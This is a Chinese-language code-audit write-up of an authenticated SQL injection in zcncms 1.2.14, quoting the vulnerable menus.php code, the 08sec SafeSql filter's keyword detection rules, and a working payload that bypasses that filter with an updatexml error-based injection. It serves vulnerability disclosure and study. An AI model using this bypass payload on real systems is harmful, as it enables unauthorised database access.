代码审计——zcncms后台SQL注入(一)

由于是后台注入,比较鸡肋,发上来供大家相互参考学习。zcncms版本1.2.14,官方网站地址:
zcncms

0x01 变量处理

文件/include/common.inc.php中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//检查和注册外部提交的变量
foreach($_REQUEST as $_k=>$_v)
{
//if( strlen($_k)>0 && eregi('^(GLOBALS)',$_k) )
if( strlen($_k)>0 && preg_match('/^(GLOBALS)/i',$_k) )
{
exit('Request var not allow!');
}
}
-------------------------------------------------------------------
//foreach(Array('_GET','_POST','_COOKIE') as $_request) 取消cookie自动生成变量
foreach(Array('_GET','_POST') as $_request)
{
foreach($$_request as $_k => $_v) {
//------------------20130128校验变量名
if(strstr($_k, '_') == $_k){
echo 'code:re_all';
exit;
}
//可考虑增加变量检测,减少变量覆盖
//--------------------------
${$_k} = _GetRequest($_v);
}
}

过滤变量的key是”_p”和”GLOBALS p”的形式,防止全局变量覆盖;并在函数_GetRequest()中进行了addslashes的操作。了解了上面的情况,那么有什么可利用的点就比较清楚了。

0x02 未正确过滤

文件/module/menus/admincontroller/menus.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
case 'edit'://
if(isset($submit)){
$info = array();
$time = time();
if(isset($id)){
$id = intval($id);
if($id <= 0){
errorinfo('变量错误','');
}


$infoold = $menus->GetInfo('',' id = '.$id);
//改变分类从属判断
if($parentid != $infoold['parentid']) { //毫无意义的比较
$List = $menus->GetList('',0,1," parentid = $id ",''); //恰当的id
if(!empty($List)) {
errorinfo('对不起,该导航('.$id.')下有子导航','');
}
}
}
//分析根分类
if($parentid == 0) {
$rootid = 0;
} else{
$parent = $menus->GetInfo('',' id = '.$parentid); //没有单引号

在$parentid != $infoold[‘parentid’]中,用的’!=’,很明显如果我们要控制$parentid的值,这个不等式肯定成立。但是errorinfo会使程序退出,所以这里需要一个在数据库不存在的parentid,使得取出$List为空,从而进入下面的sql操作

1
$parent = $menus->GetInfo('',' id = '.$parentid);

0x03 全局过滤(08sec ids)

在进行尝试的时候,发现了sql执行居然还有过滤

test
追踪sql语句执行函数,GetInfo()->Execute()->option()->SafeSql()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
function SafeSql($db_string,$querytype='select'){
//var_dump($db_string);
//完整的SQL检查
//$pos = '';
//$old_pos = '';
$pos = 0;
$old_pos = 0;
$clean = '';
if(empty($db_string)){
return false;
}
while (true){
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === false)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (true)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === false)
{
break;
}
elseif ($pos2 == false || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));

//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="union detect";
}

//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false)
{
$fail = true;
$error="comment detect";
}

//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = true;
$error="file fun detect";
}

//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = true;
$error="sub select detect";
}
if (!empty($fail))
{
//fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
}
?>

从代码和警告信息来看,是08sec的通用ids无疑,包括dedecms等内置这个这段代码。网上已经有较多的绕过方式。
构造payload:

1
2
3
zcncms/admin/?c=products_class&a=edit&id=1
POST:
submit=&parentid=12=@`\\\'` and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1));#@`\\\'`

0x04 多处类似处理不当

搜索了一下代码,发现多处parentid处理不当,不过都需要后台权限